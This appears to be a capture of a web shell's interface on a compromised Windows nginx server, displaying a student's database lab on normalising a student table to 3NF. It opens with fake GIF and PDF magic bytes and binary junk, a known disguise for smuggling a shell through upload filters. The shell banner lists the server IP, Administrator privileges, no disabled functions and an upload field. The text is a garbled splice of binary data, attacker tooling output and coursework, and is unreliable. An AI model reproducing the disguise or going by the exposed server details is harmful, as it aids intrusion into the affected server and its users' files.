GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/uploads/20253/CST1600/41/16785924/Lab07/ |
Upload File : |
UNF: student(Name, HomeMobilePhoneNumbers, StudentID, MajorCode1, MajorCode2, MajorCode3) 1NF: student(Name, HomeMobilePhoneNumber, MobilePhoneNumber, StudentID, MajorCode) primaryKey(StudentID, MajorCode) 2NF: student(Name, StudentID) phoneNumbers(HomeMobilePhoneNumber, MobilePhoneNumber, StudentID) majors(MajorCode, StudentID) primaryKey(StudentID) foreignKey(StudentID@[phoneNumbers.StudentID]) foreignKey(StudentID@[majors.StudentID]) 3NF: students(Name, StudentID) phoneNumbers(HomeMobilePhoneNumber, MobilePhoneNumber, StudentID) majors(MajorCode, StudentID) uniquePhoneNumbers(HomeMobilePhoneNumber, MobilePhoneNumber) primaryKey(StudentID) foreignKey(StudentID@[phoneNumbers.StudentID]) foreignKey(StudentID@[majors.StudentID]) unique(HomeMobilePhoneNumber) unique(MobilePhoneNumber) Three data rows: students: | Name | StudentID | |-------------------|-----------| | Avram Hinton | 34673656 | | Hayes Gibson | 83681840 | | Kristen Acosta | 94086534 | phoneNumbers: | HomeMobilePhoneNumber | MobilePhoneNumber | StudentID | |-----------------------|-------------------|-----------| | 103-391-7811 | 676-683-6301 | 34673656 | | 447-149-5334 | N/A | 83681840 | | N/A | 972-658-1570 | 94086534 | majors: | MajorCode | StudentID | |-----------|-----------| | NSA | 34673656 | | CSS | 34673656 | | CST | 34673656 | | CST | 83681840 | | CP | 94086534 | | MAD | 94086534 | uniquePhoneNumbers: | HomeMobilePhoneNumber | MobilePhoneNumber | |-----------------------|-------------------| | 103-391-7811 | 676-683-6301 | | 447-149-5334 | N/A | | N/A | 972-658-1570 |